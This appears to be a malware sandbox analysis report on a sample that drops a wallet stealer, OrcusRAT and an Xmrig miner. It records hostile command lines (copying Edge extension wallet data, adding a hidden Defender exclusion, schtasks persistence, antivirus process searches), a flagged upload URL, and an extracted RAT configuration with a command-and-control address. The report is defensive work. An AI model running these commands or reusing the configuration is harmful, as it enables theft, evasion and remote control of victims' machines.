                              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , CommandLine: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , CommandLine|base64offset|contains: ), Image: C:\Windows\SysWOW64\xcopy.exe, NewProcessName: C:\Windows\SysWOW64\xcopy.exe, OriginalFileName: C:\Windows\SysWOW64\xcopy.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3824, ParentProcessName: cmd.exe, ProcessCommandLine: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , ProcessId: 3908, ProcessName: xcopy.exe
                              Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
                              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ParentCommandLine: Dr.com B, ParentImage: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ParentProcessId: 1240, ParentProcessName: Dr.com, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ProcessId: 5892, ProcessName: RegAsm.exe
                              Sigma detected: Powershell Defender Exclusion
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", ProcessId: 644, ProcessName: powershell.exe
                              Sigma detected: SCR File Write Event
                              Source: File createdAuthor: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ProcessId: 1240, TargetFilename: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr
                              Sigma detected: Suspicious Add Scheduled Task Parent
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: Dr.com B, ParentImage: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ParentProcessId: 1240, ParentProcessName: Dr.com, ProcessCommandLine: schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 3876, ProcessName: schtasks.exe
                              Sigma detected: Suspicious Copy From or To System Directory
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\File.exe", ParentImage: C:\Users\user\Desktop\File.exe, ParentProcessId: 4296, ParentProcessName: File.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd, ProcessId: 5200, ProcessName: cmd.exe
                              Sigma detected: Suspicious Schtasks From Env Var Folder
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 4048, ProcessName: schtasks.exe
                              Sigma detected: Suspicious Screensaver Binary File Creation
                              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ProcessId: 1240, TargetFilename: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr
                              Sigma detected: Usage Of Web Request Commands And Cmdlets
                              Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3824, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, ProcessId: 1664, ProcessName: cmd.exe
                              Sigma detected: Use Short Name Path in Command Line
                              Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , CommandLine: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , CommandLine|base64offset|contains: ), Image: C:\Windows\SysWOW64\xcopy.exe, NewProcessName: C:\Windows\SysWOW64\xcopy.exe, OriginalFileName: C:\Windows\SysWOW64\xcopy.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3824, ParentProcessName: cmd.exe, ProcessCommandLine: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" , ProcessId: 3908, ProcessName: xcopy.exe
                              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                              Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", ProcessId: 6912, ProcessName: wscript.exe
                              Sigma detected: Non Interactive PowerShell Process Spawned
                              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", ProcessId: 644, ProcessName: powershell.exe

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              Sigma detected: Search for Antivirus process
                              Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5200, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 3644, ProcessName: findstr.exe

                              Suricata Signatures

                              ⊘No Suricata rule has matched

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus detection for URL or domain
                              Source: https://cdn-downloads-now.xyz/files/upload.phpAvira URL Cloud: Label: malware
                              Source: https://cdn-downloads-now.xyz/files/upload.php#Avira URL Cloud: Label: malware
                              Antivirus detection for dropped file
                              Source: C:\Users\user\AppData\Local\asm\mi.exeAvira: detection malicious, Label: HEUR/AGEN.1311679
                              Found malware configuration
                              Source: 29.2.RegAsm.exe.1100000.0.unpackMalware Configuration Extractor: OrcusRAT {"AutostartBuilderProperty": {"AutostartMethod": "Disable", "TaskSchedulerTaskName": "Orcus", "TaskHighestPrivileges": "true", "RegistryHiddenStart": "true", "RegistryKeyName": "Orcus", "TryAllAutostartMethodsOnFail": "true"}, "ChangeAssemblyInformationBuilderProperty": {"ChangeAssemblyInformation": "false", "AssemblyTitle": null, "AssemblyDescription": null, "AssemblyCompanyName": null, "AssemblyProductName": null, "AssemblyCopyright": null, "AssemblyTrademarks": null, "AssemblyProductVersion": "1.0.0.0", "AssemblyFileVersion": "1.0.0.0"}, "ChangeCreationDateBuilderProperty": {"IsEnabled": "false", "NewCreationDate": "2024-11-27T14:29:12"}, "ChangeIconBuilderProperty": {"ChangeIcon": "false", "IconPath": null}, "ClientTagBuilderProperty": {"ClientTag": null}, "ConnectionBuilderProperty": {"IpAddresses": [{"Ip": "45.74.38.211", "Port": "4782"}]}, "DataFolderBuilderProperty": {"Path": "%appdata%\\Orcus"}, "DefaultPrivilegesBuilderProperty": {"RequireAdministratorRights": "false"}, "DisableInstallationPromptBuilderProperty": {"IsDisabled": "true"}, "FrameworkVersionBuilderProperty": {"FrameworkVersion": "NET45"}, "HideFileBuilderProperty": {"HideFile": "false"}, "InstallationLocationBuilderProperty": {"Path": "%programfiles%\\Orcus\\Orcus.exe"}, "InstallBuilderProperty": {"Install": "false"}, "KeyloggerBuilderProperty": {"IsEnabled": "false"}, "MutexBuilderProperty": {"Mutex": "7a9c0f279c464958aebbd585f20f1cf2"}, "ProxyBuilderProperty": {"ProxyOption": "None", "ProxyAddress": null, "ProxyPort": "1080", "ProxyType": "2"}, "ReconnectDelayProperty": {"Delay": "10000"}, "RequireAdministratorPrivilegesInstallerBuilderProperty": {"RequireAdministratorPrivileges": "true"}, "RespawnTaskBuilderProperty": {"IsEnabled": "false", "TaskName": "Orcus Respawner"}, "ServiceBuilderProperty": {"Install": "false"}, "SetRunProgramAsAdminFlagBuilderProperty": {"SetFlag": "false"}, "WatchdogBuilderProperty": {"IsEnabled": "false", "Name": "OrcusWatchdog.exe", "WatchdogLocation": "AppData", "PreventFileDeletion": "false"}}
                              Multi AV Scanner detection for dropped file
                              Source: C:\Users\user\AppData\Local\asm\mi.exeReversingLabs: Detection: 60%
                              Multi AV Scanner detection for submitted file
                              Source: File.exeReversingLabs: Detection: 36%
                              AI detected suspicious sample
                              Source: Submited SampleIntegrated Neural Analysis Model: Matched 90.7% probability
                              Machine Learning detection for dropped file
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\asm\mi.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\COMSurrogate.exeJoe Sandbox ML: detected

                              Bitcoin Miner

                              barindex
                              Yara detected Xmrig cryptocurrency miner
                              Source: Yara matchFile source: 51.2.COMSurrogate.exe.206567c1a78.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 32.2.COMSurrogate.exe.2121062f4b0.2.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 32.2.COMSurrogate.exe.21210011a78.3.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 49.2.COMSurrogate.exe.162a65df4b0.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 49.2.COMSurrogate.exe.162a5fc1a78.1.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000020.00000002.3721421332.0000021200067000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A6B6B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.00000212105FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210C3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210596000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A6545000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A654A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210BBC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A647B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A6B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000020.00000002.3740194949.0000021210BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000031.00000002.3739317717.00000162A6AC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000033.00000002.3745500168.00000206567C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\asm\mi.exe, type: DROPPED
                              Source: File.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: File.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406301 FindFirstFileW,FindClose,0_2_00406301
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406CC7
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00814005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,24_2_00814005
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,24_2_0081C2FF
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081494A GetFileAttributesW,FindFirstFileW,FindClose,24_2_0081494A
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,24_2_0081CD9F
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081CD14 FindFirstFileW,FindClose,24_2_0081CD14
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,24_2_0081F5D8
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,24_2_0081F735
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0081FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,24_2_0081FA36
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00813CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,24_2_00813CE2
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\491505Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Local\Temp\491505\Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user~1\AppData\Jump to behavior
                              Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
                              Source: Joe Sandbox ViewIP Address: 104.26.13.205 104.26.13.205
                              Source: Joe Sandbox ViewASN Name: M247GB M247GB
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_008229BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,24_2_008229BA
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
                              Source: File.exe, 00000000.00000000.1260292066.0000000000409000.00000002.00000001.01000000.00000003.sdmp, File.exe, 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr306
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmp, Dr.com, 0000000F.00000000.1295549227.00000000010B9000.00000002.00000001.01000000.00000008.sdmp, ApolloPro.scr, 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/g
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org7
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn-downloads-now.xyz/files/upload.php
                              Source: curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn-downloads-now.xyz/files/upload.php#
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.autoitscript.com/autoit3/
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0
                              Source: Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/06
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_004050F9
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00824830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,24_2_00824830
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00824632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,24_2_00824632
                              Source: C:\Users\user\Desktop\File.exeCode function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004044D1
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeWindow created: window name: CLIPBRDWNDCLASS
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeWindow created: window name: CLIPBRDWNDCLASS
                              Source: C:\Users\user\AppData\Local\Temp\smartscreen.exeWindow created: window name: CLIPBRDWNDCLASS
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0083D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,24_2_0083D164

                              Spam, unwanted Advertisements and Ransom Demands

                              barindex
                              Reads the Security eventlog
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SecurityJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShellJump to behavior
                              Reads the System eventlog
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShellJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\SystemJump to behavior
